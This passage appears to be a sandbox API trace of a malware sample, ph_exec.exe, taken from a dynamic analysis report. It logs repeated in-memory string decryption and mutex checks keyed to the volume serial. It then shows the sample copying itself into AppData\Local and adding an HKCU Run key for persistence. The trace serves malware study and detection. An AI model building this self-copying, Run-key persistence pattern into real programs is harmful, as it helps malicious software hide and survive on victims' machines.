dwParam=0x1, pbData=0x53f690, dwFlags=0x0) returned 1 [0031.929] CryptDecrypt (in: hKey=0x582c70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f65c | out: pbData=0xca11e0, pdwDataLen=0x53f65c) returned 1 [0031.929] CryptDestroyKey (hKey=0x582c70) returned 1 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1208 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca1230 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1258 [0031.929] CryptImportKey (in: hProv=0x574d50, pbData=0x53f618, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f680 | out: phKey=0x53f680*=0x582bb0) returned 1 [0031.929] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f668, dwFlags=0x0) returned 1 [0031.929] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1258, pdwDataLen=0x53f634 | out: pbData=0xca1258, pdwDataLen=0x53f634) returned 1 [0031.929] CryptDestroyKey (hKey=0x582bb0) returned 1 [0031.929] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1258 | out: hHeap=0xca0000) returned 1 [0031.929] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca1208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.929] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1230 | out: hHeap=0xca0000) returned 1 [0031.929] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0031.929] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53f6e8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53f6e8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.929] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1208 | out: hHeap=0xca0000) returned 1 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca11e0 [0031.929] CryptImportKey (in: hProv=0x574d50, pbData=0x53f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6dc | out: phKey=0x53f6dc*=0x582d70) returned 1 [0031.929] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f6c4, dwFlags=0x0) returned 1 [0031.929] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f690 | out: pbData=0xca11e0, pdwDataLen=0x53f690) returned 1 [0031.929] CryptDestroyKey (hKey=0x582d70) returned 1 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca1228 [0031.929] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x1d0 [0031.929] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0031.930] CloseHandle (hObject=0x1d0) returned 1 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1228 | out: hHeap=0xca0000) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca11e0 [0031.930] CryptImportKey (in: hProv=0x574d50, pbData=0x53f654, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6bc | out: phKey=0x53f6bc*=0x582d70) returned 1 [0031.930] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f6a4, dwFlags=0x0) returned 1 [0031.930] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f670 | out: pbData=0xca11e0, pdwDataLen=0x53f670) returned 1 [0031.930] CryptDestroyKey (hKey=0x582d70) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1208 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca1230 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1258 [0031.930] CryptImportKey (in: hProv=0x574d50, pbData=0x53f62c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f694 | out: phKey=0x53f694*=0x582a30) returned 1 [0031.930] CryptSetKeyParam (hKey=0x582a30, dwParam=0x1, pbData=0x53f67c, dwFlags=0x0) returned 1 [0031.930] CryptDecrypt (in: hKey=0x582a30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1258, pdwDataLen=0x53f648 | out: pbData=0xca1258, pdwDataLen=0x53f648) returned 1 [0031.930] CryptDestroyKey (hKey=0x582a30) returned 1 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1258 | out: hHeap=0xca0000) returned 1 [0031.930] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca1208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1230 | out: hHeap=0xca0000) returned 1 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0031.930] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53f6fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53f6fc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.930] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1208 | out: hHeap=0xca0000) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca11e0 [0031.930] CryptImportKey (in: hProv=0x574d50, pbData=0x53f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6f0 | out: phKey=0x53f6f0*=0x5826b0) returned 1 [0031.930] CryptSetKeyParam (hKey=0x5826b0, dwParam=0x1, pbData=0x53f6d8, dwFlags=0x0) returned 1 [0031.930] CryptDecrypt (in: hKey=0x5826b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f6a4 | out: pbData=0xca11e0, pdwDataLen=0x53f6a4) returned 1 [0031.930] CryptDestroyKey (hKey=0x5826b0) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca1228 [0031.930] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x0 [0031.930] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773000") returned 0x1d0 [0031.930] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0031.931] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca11e0 | out: hHeap=0xca0000) returned 1 [0031.931] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1228 | out: hHeap=0xca0000) returned 1 [0031.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd1f5f, lpParameter=0x53f790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0031.931] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x60) returned 0xca11e0 [0031.931] CryptImportKey (in: hProv=0x574d50, pbData=0x53f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f700 | out: phKey=0x53f700*=0x582bb0) returned 1 [0031.931] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f6e8, dwFlags=0x0) returned 1 [0031.931] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca11e0, pdwDataLen=0x53f6b4 | out: pbData=0xca11e0, pdwDataLen=0x53f6b4) returned 1 [0031.931] CryptDestroyKey (hKey=0x582bb0) returned 1 [0031.931] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca1248 [0031.931] CryptImportKey (in: hProv=0x574d50, pbData=0x53f670, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6d8 | out: phKey=0x53f6d8*=0x582db0) returned 1 [0031.931] CryptSetKeyParam (hKey=0x582db0, dwParam=0x1, pbData=0x53f6c0, dwFlags=0x0) returned 1 [0031.931] CryptDecrypt (in: hKey=0x582db0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1248, pdwDataLen=0x53f68c | out: pbData=0xca1248, pdwDataLen=0x53f68c) returned 1 [0031.931] CryptDestroyKey (hKey=0x582db0) returned 1 [0031.931] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1270 [0031.931] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca1298 [0031.931] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca12c0 [0031.931] CryptImportKey (in: hProv=0x574d50, pbData=0x53f648, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6b0 | out: phKey=0x53f6b0*=0x582930) returned 1 [0031.931] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f698, dwFlags=0x0) returned 1 [0031.931] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca12c0, pdwDataLen=0x53f664 | out: pbData=0xca12c0, pdwDataLen=0x53f664) returned 1 [0031.931] CryptDestroyKey (hKey=0x582930) returned 1 [0031.931] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12c0 | out: hHeap=0xca0000) returned 1 [0031.932] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xca1270, nSize=0xf | out: lpDst="") returned 0x1e [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1298 | out: hHeap=0xca0000) returned 1 [0031.932] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1270, Size=0x3a) returned 0xca1270 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x3a) returned 0xca12b8 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1300 [0031.932] CryptImportKey (in: hProv=0x574d50, pbData=0x53f644, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6ac | out: phKey=0x53f6ac*=0x5826f0) returned 1 [0031.932] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f694, dwFlags=0x0) returned 1 [0031.932] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1300, pdwDataLen=0x53f660 | out: pbData=0xca1300, pdwDataLen=0x53f660) returned 1 [0031.932] CryptDestroyKey (hKey=0x5826f0) returned 1 [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1300 | out: hHeap=0xca0000) returned 1 [0031.932] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xca1270, nSize=0x1d | out: lpDst="") returned 0x1e [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12b8 | out: hHeap=0xca0000) returned 1 [0031.932] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1270, Size=0x72) returned 0xca1270 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x72) returned 0xca12f0 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1370 [0031.932] CryptImportKey (in: hProv=0x574d50, pbData=0x53f644, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6ac | out: phKey=0x53f6ac*=0x5827f0) returned 1 [0031.932] CryptSetKeyParam (hKey=0x5827f0, dwParam=0x1, pbData=0x53f694, dwFlags=0x0) returned 1 [0031.932] CryptDecrypt (in: hKey=0x5827f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1370, pdwDataLen=0x53f660 | out: pbData=0xca1370, pdwDataLen=0x53f660) returned 1 [0031.932] CryptDestroyKey (hKey=0x5827f0) returned 1 [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1370 | out: hHeap=0xca0000) returned 1 [0031.932] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xca1270, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.932] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca12f0 [0031.932] CryptImportKey (in: hProv=0x574d50, pbData=0x53f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6d4 | out: phKey=0x53f6d4*=0x5826b0) returned 1 [0031.932] CryptSetKeyParam (hKey=0x5826b0, dwParam=0x1, pbData=0x53f6bc, dwFlags=0x0) returned 1 [0031.932] CryptDecrypt (in: hKey=0x5826b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca12f0, pdwDataLen=0x53f688 | out: pbData=0xca12f0, pdwDataLen=0x53f688) returned 1 [0031.932] CryptDestroyKey (hKey=0x5826b0) returned 1 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x3e) returned 0xca1338 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x3e) returned 0xca1380 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca13c8 [0031.932] CryptImportKey (in: hProv=0x574d50, pbData=0x53f644, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6ac | out: phKey=0x53f6ac*=0x582bb0) returned 1 [0031.932] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f694, dwFlags=0x0) returned 1 [0031.932] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca13c8, pdwDataLen=0x53f660 | out: pbData=0xca13c8, pdwDataLen=0x53f660) returned 1 [0031.932] CryptDestroyKey (hKey=0x582bb0) returned 1 [0031.932] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x10) returned 0xca1248 [0031.932] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f628 | out: phkResult=0x53f628*=0x200) returned 0x0 [0031.933] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x53f624, lpData=0xca1380, lpcbData=0x53f62c*=0x3e | out: lpType=0x53f624*=0x2, lpData=0xca1380*=0x98, lpcbData=0x53f62c*=0x98) returned 0xea [0031.933] RegCloseKey (hKey=0x200) returned 0x0 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca13c8 | out: hHeap=0xca0000) returned 1 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1380 | out: hHeap=0xca0000) returned 1 [0031.933] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1338, Size=0x7a) returned 0xca1338 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x7a) returned 0xca13c0 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1448 [0031.933] CryptImportKey (in: hProv=0x574d50, pbData=0x53f640, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6a8 | out: phKey=0x53f6a8*=0x582930) returned 1 [0031.933] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f690, dwFlags=0x0) returned 1 [0031.933] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1448, pdwDataLen=0x53f65c | out: pbData=0xca1448, pdwDataLen=0x53f65c) returned 1 [0031.933] CryptDestroyKey (hKey=0x582930) returned 1 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x10) returned 0xca1248 [0031.933] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f624 | out: phkResult=0x53f624*=0x200) returned 0x0 [0031.933] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x53f620, lpData=0xca13c0, lpcbData=0x53f628*=0x7a | out: lpType=0x53f620*=0x2, lpData=0xca13c0*=0x98, lpcbData=0x53f628*=0x98) returned 0xea [0031.933] RegCloseKey (hKey=0x200) returned 0x0 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1448 | out: hHeap=0xca0000) returned 1 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca13c0 | out: hHeap=0xca0000) returned 1 [0031.933] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1338, Size=0xf2) returned 0xca1338 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xf2) returned 0xca1438 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca5298 [0031.933] CryptImportKey (in: hProv=0x574d50, pbData=0x53f640, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6a8 | out: phKey=0x53f6a8*=0x582930) returned 1 [0031.933] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f690, dwFlags=0x0) returned 1 [0031.933] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5298, pdwDataLen=0x53f65c | out: pbData=0xca5298, pdwDataLen=0x53f65c) returned 1 [0031.933] CryptDestroyKey (hKey=0x582930) returned 1 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x10) returned 0xca1248 [0031.933] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f624 | out: phkResult=0x53f624*=0x200) returned 0x0 [0031.933] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x53f620, lpData=0xca1438, lpcbData=0x53f628*=0xf2 | out: lpType=0x53f620*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53f628*=0x98) returned 0x0 [0031.933] RegCloseKey (hKey=0x200) returned 0x0 [0031.933] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.933] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1248 [0031.934] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f624 | out: phkResult=0x53f624*=0x200) returned 0x0 [0031.934] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53f620, lpData=0xca14d0, lpcbData=0x53f628*=0x5a | out: lpType=0x53f620*=0x0, lpData=0xca14d0*=0x73, lpcbData=0x53f628*=0x5a) returned 0x2 [0031.934] RegCloseKey (hKey=0x200) returned 0x0 [0031.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f638 | out: phkResult=0x53f638*=0x200) returned 0x0 [0031.934] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53f634, lpData=0xca14d0, lpcbData=0x53f63c*=0x5a | out: lpType=0x53f634*=0x2, lpData=0xca14d0*=0x73, lpcbData=0x53f63c*=0x78) returned 0xea [0031.934] RegCloseKey (hKey=0x200) returned 0x0 [0031.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5298 | out: hHeap=0xca0000) returned 1 [0031.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1438 | out: hHeap=0xca0000) returned 1 [0031.934] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca1338, Size=0x1e2) returned 0xca1338 [0031.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e2) returned 0xca5298 [0031.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca5488 [0031.934] CryptImportKey (in: hProv=0x574d50, pbData=0x53f640, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6a8 | out: phKey=0x53f6a8*=0x582770) returned 1 [0031.934] CryptSetKeyParam (hKey=0x582770, dwParam=0x1, pbData=0x53f690, dwFlags=0x0) returned 1 [0031.934] CryptDecrypt (in: hKey=0x582770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5488, pdwDataLen=0x53f65c | out: pbData=0xca5488, pdwDataLen=0x53f65c) returned 1 [0031.934] CryptDestroyKey (hKey=0x582770) returned 1 [0031.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x10) returned 0xca1528 [0031.934] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f624 | out: phkResult=0x53f624*=0x200) returned 0x0 [0031.934] RegQueryValueExW (in: hKey=0x200, lpValueName="Startup", lpReserved=0x0, lpType=0x53f620, lpData=0xca5298, lpcbData=0x53f628*=0x1e2 | out: lpType=0x53f620*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53f628*=0x98) returned 0x0 [0031.934] RegCloseKey (hKey=0x200) returned 0x0 [0031.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1528 | out: hHeap=0xca0000) returned 1 [0031.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1248 [0031.934] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f624 | out: phkResult=0x53f624*=0x200) returned 0x0 [0031.934] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53f620, lpData=0xca5330, lpcbData=0x53f628*=0x14a | out: lpType=0x53f620*=0x0, lpData=0xca5330*=0xc0, lpcbData=0x53f628*=0x14a) returned 0x2 [0031.934] RegCloseKey (hKey=0x200) returned 0x0 [0031.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x53f638 | out: phkResult=0x53f638*=0x200) returned 0x0 [0031.934] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x53f634, lpData=0xca5330, lpcbData=0x53f63c*=0x14a | out: lpType=0x53f634*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x53f63c*=0x78) returned 0x0 [0031.934] RegCloseKey (hKey=0x200) returned 0x0 [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5488 | out: hHeap=0xca0000) returned 1 [0031.935] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xca1338, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5298 | out: hHeap=0xca0000) returned 1 [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca5298 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca54b0 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca56c8 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca58e0 [0031.935] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xca5298, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca5af8 [0031.935] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xca5af8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca5af8 [0031.935] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xca5af8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.935] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe"), bFailIfExists=0) returned 1 [0032.230] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x53f73c | out: phkResult=0x53f73c*=0x0) returned 0x5 [0032.230] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x53f728 | out: phkResult=0x53f728*=0x200) returned 0x0 [0032.230] RegSetValueExW (in: hKey=0x200, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0032.235] RegCloseKey (hKey=0x200) returned 0x0 [0032.235] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x118) returned 0xca5af8 [0032.235] GetLastError () returned 0x0 [0032.235] SetLastError (dwErrCode=0x0) [0032.235] GetLastError () returned 0x0 [0032.235] SetLastError (dwErrCode=0x0) [0032.235] 